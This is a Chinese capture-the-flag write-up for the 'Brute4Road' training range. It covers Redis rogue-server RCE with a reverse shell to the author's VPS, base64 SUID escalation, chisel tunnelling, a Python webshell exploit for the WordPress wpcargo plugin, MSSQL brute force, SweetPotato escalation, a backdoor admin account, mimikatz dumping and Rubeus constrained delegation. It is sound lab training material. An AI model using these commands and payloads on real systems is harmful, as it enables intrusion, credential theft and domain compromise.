[春秋云镜] Brute4Road 仿真场景
文章目录
- 靶标介绍:
- 知识点
- 约束性委派攻击
- 外网
- redis主从复制
- base64提权
- 内网
- 搭建代理
- wpcargo插件漏洞
- mssql弱口令
- SweetPotato提权
- 远程桌面连接
- mimikatz抓取hash
- 约束性委派攻击
- 参考文章
靶标介绍:
Brute4Road是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。
考点:
- redis主从复制rce
- base64命令提权
- sweetpotato提权
- 约束性委派
知识点
约束性委派攻击
委派:指将域内用户的权限委派给服务账户,使得服务账户能以用户权限访问域内的其他服务。
服务账号:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来并加入域内时所用的账户
S4U:Services for User,是一种Kerberos扩展,允许服务在没有用户凭据的情况下为用户请求票据。(默认支持)
进行约束委派攻击的前提
-
要拿到服务账户的NTLM哈希
-
服务账户配置了到域控制器上的特定服务(如CIFS) 进行约束委派
约束委派使得该服务账户能够代表其他账户(如Administrator) 请求访问该服务的票据
- 域环境中启用了S4U扩展
攻击流程
工具地址: GitHub - GhostPack/Rubeus: Trying to tame the three-headed dog.
- 申请TGT: 使用Rubeus工具为
MSSQLSERVER$
账户申请TGT
.\Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:1d35efe0f482e03887accf3f2ec11f3b /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap
/user:MSSQLSERVER$
:指定用户为MSSQLSERVER$
/rc4:78aa7721aeb225c7495de5a172e0e238
:使用NTLM哈希(RC4密钥)进行身份验证
/domain:xiaorang.lab
:指定域
/dc:DC.xiaorang.lab
:指定域控制器。
/nowrap
:输出票据时不换行, 便于后续的利用
- 使用S4U申请服务票据:利用S4U扩展,伪装成Administrator用户,申请访问域控(DC.xiaorang.lab)的CIFS服务的票据
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE0ixdpivzGZEwaeteoc1vI5Am8phJI3XGAILiddSV6o7d4FshbXGxyjNkrlmBIf2DPyh/2Fy4oQQlPZLuIIAbEFa4soPA8MDKVufpCvB7T1odaTiDqql9h3g3qD8/KvuTcR+eE/EfgXhbXsH9kaE+f1QpL7kXaX38MX7Iu9Bnz4x6/YmL/YrHZDDrKOoLszWqu8dFpaFHRnZbujX71EoPnM9cJB12s6A1/CwWHM8y9TkCoRP4jKyixDOzjlefdXffXAWbYNfYz+ABYHFtuZb6DQogcIVpFA//D5moDzc1/sd5FSQQkbUvN2OAjRIdtCOmsD3Txf5A4RwoDRBHVs7jULIgDADC3zZBZ61X2ziee3KJK0RdG1ZFlhCC/vP8VwpBEe33pfepBbNsWt2mYbVyt1fk0IDMJxx7bdSfVmNi+HpSnKzfxyEzW6RZBRLbN9ULO+I5m3P5RQ9tVU6ovTrF7h0rzHkFaoNI3O3k7NDyrgXGI90VplH6qpKt50PAOb8o1iUacZxtiJ9ct85+r3pIj2mBiijuoZx1tAuZGcpbCvC6r4jXnFnSCTCLkVuDVSWeFF1ZV5Iz8VBHKx1DMBv8pwNjAWgHAxCmon7+TFT+Ocm4c64C9a8rOz/AWEjS1N5T7mQe6dXbS5EukKJuTfu+8vcapIumw/BzdBIfdYMGBOFUeaDVhpnxDU8xMcN6fzetxk0QF9avaUxZy4g2dT7dIyTGkjYAxe1uGHz6p++Q/n06dFat368FSisOhOUHsnngsVL6o/mLD4SYYeNwmLvh9FqHosZyAFCHJJmwbuUBu/J08JciWJY2E9UZs2Qu/fw5fAWlLE4Sn+3eZK1oe6KV9diWis7mWZU+mvTUGmPgc+7xh+B595z1wDHNDnvaRxpyAMHZUPpIvBOAcVjC6w7+DchzBNUrWOy75BjWTYp+Lj5xObWCODXNTK4k6V/4utxKy/jwn/UJ9c19rAQ7EaOcNi8ET+hI+p4zliuerGJBOLvJ37VichZIhUZkrmKU8QxGVD77Oo9p1XYK055DVVyeIcQydHxfpzXl5v7mqX/D7eg5wXsckZXIMGkeCJdq6+KhG7FwcJjiibF2Fk8rdN0uQxGGC3zyV+Y9BhExFk5JtTo0q2CXS07trGWJZnFnDxW/vJ1AvvyK6bmNxgayWW4a8M3C859EOm2wjoiuAvwxK0196t17WiaTCsDEBROjD/J3+fmDvo9xm8MQY7akZkD6nxlqU0IHg9Yj7++QhPXWCcDOxkEq4Ecyq8IlI1ZE2i7OS7oMxIYVsjREECZisCkcDf9SXsHmz32CoZJu6QRBtRoqcf7mxcxeKN8hexQlg8bs7jDw8GJPbJmgkh1YG6nsIqq7FZCzTsRqm5u3lFDr8qkRfk4XTs6zb80/yU5+s7KpT9POV6ypuKYQz+3jr3qrH3dNnuGK3Lky7jsXbCxqwkq2gt706tbIYgE/SIZQ6jgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBC6z5mJu20XTLwP0CfurmQMoQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDI1MDUwODE0NDEwOFqmERgPMjAyNTA1MDkwMDQxMDhapxEYDzIwMjUwNTE1MTQ0MTA4WqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg==
/impersonateuser:Administrator
:伪装成Administrator用户(域管理员,具有高权限)
/msdsspn:CIFS/DC.xiaorang.lab
:目标服务为域控的CIFS服务。
CIFS是文件共享协议,控制它就能访问域控的文件系统, 访问敏感文件, 植入后门等
/dc:DC.xiaorang.lab
:指定域控制器
/ptt
:将获取的票据注入到当前会话中 ( Pass-the-Ticket )
/ticket:...
:使用之前获取的TGT
外网
先用fscan扫描一下, 可以发现有redis的未授权访问
redis主从复制
参考文章: https://www.freebuf.com/articles/web/249238.html
利用工具: https://github.com/n0b0dyCN/redis-rogue-server
原理:
Redis如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上,然后在从机上加载so文件,我们就可以执行拓展的新命令了。
条件:
Redis 版本(4.x~5.0.5)(新增模块功能,可以通过C语言并编译出恶意.so文件)
redis弱密码或者无密码
root启动redis
fscan扫描出来的信息可以看到redis的版本是5.0.x, 而且可以未授权访问
打redis的主从复制, 在自己的 vps上面运行
python3 redis-rogue-server.py --rhost 39.98.123.25 --lhost 8.154.17.163
rhost --> 题目ip
lhost –> vps这里要确保自己vps防火墙要打开21000端口, 之前以为安全组放开了所有端口就行, 但是脚本一直没有运行成功, 后面把防火墙端口打开才成功
后续输入
r
表示进行反弹shell, 然后输入自己vps的ip, 端口
base64提权
为方便查看, 进入python的交互式
python -c 'import pty; pty.spawn("/bin/bash")'
没有权限读取flag, 需要提权
尝试suid提权
find / -user root -perm -4000 -print 2>/dev/null
可以找到一个base64提权 (https://gtfobins.github.io/gtfobins/base64/)
用法: base64 "文件" | base64 --decode
base64 "flag01" | base64 --decode
内网
vps开启一个http服务, 用于在题目靶机上下载一些需要的工具文件
python3 -m http.server 8080 --directory /path/to/files
下载fscan, chisel等
wget http://ip:8080/fscan
wget http://ip:8080/chisel
ifconfig无法查看ip, 使用netstat -ano查看网络服务可以看到靶机内网ip, 用于扫描
./fscan -h 172.22.2.7/24 -o 1.txt
根据扫描结果: 存活5个主机
172.22.2.3 域控主机
172.22.2.7 存在CentOs服务
172.22.2.18 存在WordPress站点, 存在smb弱口令
172.22.2.16 域内主机,MSSQLSERVER服务, 存在smb弱口令
172.22.2.34
尝试了一下smb弱口令登录
要么权限不足无法查看 (c$
) , 要么可以查看但是却没有用的信息
权限也不够, 也没法执行命令
proxychains4 crackmapexec smb 172.22.2.16 -u admin -p 123456 -d xiaorang.lab -x "whoami"
还是看看wordpress的站点, 找找有没有漏洞
先搭建代理
搭建代理
使用chisel搭建代理
服务端(vps)
./chisel server -p 8888 --reverse
客户端
./chisel client [vps]:8888 R:0.0.0.0:9383:socks
火狐浏览器设置里面连socks5的代理可以成功看到内网的站点
wpcargo插件漏洞
扫描一下wordpress的站点, 查看是否有漏洞
proxychains4 wpscan --url http://172.22.2.18
可以发现一个插件 wpcargo
可能存在漏洞
网上有 poc (https://wpscan.com/vulnerability/5c21ad35-b2fb-4a51-858f-8ffff685de4a/ )
直接利用脚本打
import sys
import binascii
import requests# This is a magic string that when treated as pixels and compressed using the png
# algorithm, will cause <?=$_GET[1]($_POST[2]);?> to be written to the png file
payload = '2f49cf97546f2c24152b216712546f112e29152b1967226b6f5f50'def encode_character_code(c: int):return '{:08b}'.format(c).replace('0', 'x')text = ''.join([encode_character_code(c) for c in binascii.unhexlify(payload)])[1:]destination_url = 'http://172.22.2.18/'
cmd = 'ls'# With 1/11 scale, '1's will be encoded as single white pixels, 'x's as single black pixels.requests.get(f"{destination_url}wp-content/plugins/wpcargo/includes/barcode.php?text={text}&sizefactor=.090909090909&size=1&filepath=/var/www/html/webshell.php"
)# We have uploaded a webshell - now let's use it to execute a command.print(requests.post(f"{destination_url}webshell.php?1=system", data={"2": cmd}
).content.decode('ascii', 'ignore'))
访问相应路由可以发现shell已经写入进去了, 用蚁剑连接
蚁剑连之前也要先进行socks代理
没有找到flag, 但是有一个配置文件, 里面有数据库的用户名和密码
直接用蚁剑连接数据库,
数据库里面可以直接找到flag
并且数据库里面还可以找到一些密码, 估计就是提醒你进行弱口令爆破
mssql弱口令
前面fscan搜集的一些信息可知, 172.22.2.16
主机是存在mssql服务的, 并且开放了1433端口
那么把数据导出来, 爆破一下密码
fscan -h 172.22.2.16 -m mssql -pwdf 1.txt
sa / ElGNkOiC
, sa是默认用户
然后MDUT连上去
此时已经是通过工具proxifier, 将自己的主机进行了socks5的代理, 才可以用MDUT连接上172.22.2.16的内网主机
权限不足无法查看flag, 需要提权, 这里之前也做过类似的, 也很容易想到上传SweetPotato
进行提权
先激活组件, 然后就可以上传文件了
SweetPotato提权
命令格式:
SweetPotato.exe -a "cmd"
可以发现已经是system
的权限
windows查看网络连接 netstat -ano
可以发现3389端口是打开的, 可以进行远程连接
远程桌面连接
既然打开了3389端口, 并且现在提权到了管理员权限, 那么就可以尝试添加新用户, 并将其加入到管理组
用新添加的用户进行远程桌面连接
C:/Users/Public/sweetpotato.exe -a "net user xpw 123Xpw! /add"
C:/Users/Public/sweetpotato.exe -a "net localgroup administrators xpw /add"
密码不能太弱了, 要不然可能会无法添加成功
添加成功新用户后, 直接windows的远程桌面连接就行(windows已经是进行了全局代理的)
新添加的用户也是被添加进管理组的, 所以也是有权限可以读取flag的
mimikatz抓取hash
因为是在windows上面进行的远程连接, 好像默认是可以直接共享C盘下的文件, 所以我直接把mimikatz.exe
放到我的C盘下, 远程桌面也就可以直接接收到这个文件, 可以执行用来抓取用户hash
常用组合:
privilege::debug
sekurlsa::logonpasswords
privilege::debug
尝试将当前 Mimikatz 进程提升为“调试权限”(SeDebugPrivilege),这样它就可以访问其他高权限进程的内存,尤其是 LSASS(Local Security Authority Subsystem Service)进程。
- 如果没有这个权限,就无法读取包含密码和票据信息的 LSASS 内存。
- 正常用户没有该权限,只有 管理员(或 SYSTEM)权限的进程才能成功执行。
sekurlsa::logonpasswords
从内存中(通常是
lsass.exe
)提取当前或已登录用户的:明文密码(如果可用),哈希(NTLM),
Kerberos 票据(TGT、TGS), 凭据缓存(Cached Credentials), 远程桌面/网络登录凭据等
拿到服务账户 MSSQLSERVER$
的NTLM
1d35efe0f482e03887accf3f2ec11f3b
约束性委派攻击
可以使用bloodhound
工具对域内信息进行搜集
MSSQLSERVER 配置了到 DC LDAP 和 CIFS 服务的约束性委派,可以用Rubeus申请自身的服务票据,然后再通过 S4U 协议伪造高权限 ST 拿下域控
.\Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:1d35efe0f482e03887accf3f2ec11f3b /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap > 1.txt
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE0ixdpivzGZEwaeteoc1vI5Am8phJI3XGAILiddSV6o7d4FshbXGxyjNkrlmBIf2DPyh/2Fy4oQQlPZLuIIAbEFa4soPA8MDKVufpCvB7T1odaTiDqql9h3g3qD8/KvuTcR+eE/EfgXhbXsH9kaE+f1QpL7kXaX38MX7Iu9Bnz4x6/YmL/YrHZDDrKOoLszWqu8dFpaFHRnZbujX71EoPnM9cJB12s6A1/CwWHM8y9TkCoRP4jKyixDOzjlefdXffXAWbYNfYz+ABYHFtuZb6DQogcIVpFA//D5moDzc1/sd5FSQQkbUvN2OAjRIdtCOmsD3Txf5A4RwoDRBHVs7jULIgDADC3zZBZ61X2ziee3KJK0RdG1ZFlhCC/vP8VwpBEe33pfepBbNsWt2mYbVyt1fk0IDMJxx7bdSfVmNi+HpSnKzfxyEzW6RZBRLbN9ULO+I5m3P5RQ9tVU6ovTrF7h0rzHkFaoNI3O3k7NDyrgXGI90VplH6qpKt50PAOb8o1iUacZxtiJ9ct85+r3pIj2mBiijuoZx1tAuZGcpbCvC6r4jXnFnSCTCLkVuDVSWeFF1ZV5Iz8VBHKx1DMBv8pwNjAWgHAxCmon7+TFT+Ocm4c64C9a8rOz/AWEjS1N5T7mQe6dXbS5EukKJuTfu+8vcapIumw/BzdBIfdYMGBOFUeaDVhpnxDU8xMcN6fzetxk0QF9avaUxZy4g2dT7dIyTGkjYAxe1uGHz6p++Q/n06dFat368FSisOhOUHsnngsVL6o/mLD4SYYeNwmLvh9FqHosZyAFCHJJmwbuUBu/J08JciWJY2E9UZs2Qu/fw5fAWlLE4Sn+3eZK1oe6KV9diWis7mWZU+mvTUGmPgc+7xh+B595z1wDHNDnvaRxpyAMHZUPpIvBOAcVjC6w7+DchzBNUrWOy75BjWTYp+Lj5xObWCODXNTK4k6V/4utxKy/jwn/UJ9c19rAQ7EaOcNi8ET+hI+p4zliuerGJBOLvJ37VichZIhUZkrmKU8QxGVD77Oo9p1XYK055DVVyeIcQydHxfpzXl5v7mqX/D7eg5wXsckZXIMGkeCJdq6+KhG7FwcJjiibF2Fk8rdN0uQxGGC3zyV+Y9BhExFk5JtTo0q2CXS07trGWJZnFnDxW/vJ1AvvyK6bmNxgayWW4a8M3C859EOm2wjoiuAvwxK0196t17WiaTCsDEBROjD/J3+fmDvo9xm8MQY7akZkD6nxlqU0IHg9Yj7++QhPXWCcDOxkEq4Ecyq8IlI1ZE2i7OS7oMxIYVsjREECZisCkcDf9SXsHmz32CoZJu6QRBtRoqcf7mxcxeKN8hexQlg8bs7jDw8GJPbJmgkh1YG6nsIqq7FZCzTsRqm5u3lFDr8qkRfk4XTs6zb80/yU5+s7KpT9POV6ypuKYQz+3jr3qrH3dNnuGK3Lky7jsXbCxqwkq2gt706tbIYgE/SIZQ6jgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBC6z5mJu20XTLwP0CfurmQMoQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDI1MDUwODE0NDEwOFqmERgPMjAyNTA1MDkwMDQxMDhapxEYDzIwMjUwNTE1MTQ0MTA4WqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg==
现在就拿到域控了, 直接执行命令拿flag
type \\DC.xiaorang.lab\C$\Users\Administrator\flag\flag04.txt
参考文章
https://fushuling.com/index.php/2023/09/03/%e6%98%a5%e7%a7%8b%e4%ba%91%e5%a2%83%c2%b7brute4road/
https://www.cnblogs.com/fdxsec/p/17893308.html
https://blog.csdn.net/Jayjay___/article/details/141405315